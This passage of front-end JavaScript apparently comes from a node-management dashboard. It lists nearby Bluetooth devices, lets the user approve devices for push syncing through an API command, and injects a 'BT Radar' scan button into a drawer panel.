</div>
${devs.length ? devs.map(d => `
<div style="display:flex;justify-content:space-between;align-items:center;gap:0.5rem;padding:0.2rem 0;border-bottom:1px solid #1e293b;">
<span style="overflow:hidden;text-overflow:ellipsis;white-space:nowrap;">
${d.mine ? '<span style="color:#4ade80;">●</span> ' : '<span style="color:#94a3b8;">○</span> '}
<b>${esc(d.name || 'unnamed')}</b>
<span style="color:#64748b;font-size:0.7rem;">${esc(d.mac)}${d.rssi ? ' · ' + esc(d.rssi) + 'dBm' : ''}</span>
</span>
${d.mine
? '<span style="color:#4ade80;font-size:0.7rem;">mine</span>'
: `<button class="btn btn-secondary" style="padding:0.15rem 0.5rem;font-size:0.7rem;" onclick="btWhitelist('${nodeId}','${esc(d.mac)}',true)">Approve</button>`}
</div>`).join('')
: '<div style="color:#64748b;">no devices in range</div>'}
<div style="display:flex;gap:0.4rem;margin-top:0.5rem;">
<button class="btn btn-secondary" onclick="drawerBtScan('${nodeId}')">Re-scan</button>
</div>
<div style="color:#64748b;font-size:0.65rem;margin-top:0.3rem;">● = on your approved list (push-enabled) · ○ = discovered, push blocked until approved</div>`;
}
async function btWhitelist(nodeId, mac, add) {
await api(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'bt_whitelist', command: 'bt_whitelist', payload: { add: add ? mac : undefined, remove: add ? undefined : mac } })
});
// re-scan to refresh the view
drawerBtScan(nodeId);
}
// inject BT button into drawer action row
(function injectBtBtn() {
const mo = new MutationObserver(() => {
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
if (row && !document.getElementById('btScanBtn')) {
const b = document.createElement('button');
b.id = 'btScanBtn';
b.className = 'btn btn-secondary';
b.innerHTML = '<i class="fa-brands fa-bluetooth-b"></i> BT Radar';
b.title = 'Scan bluetooth devices in range of this node. Push (sync) only works on devices you Approve — pairing on the device itself is the consent.';
b.onclick = () => drawerBtScan(window._drawerNodeId);
row.appendChild(b);
}
});
mo.observe(document.body, { childList: true, subtree: true });
})();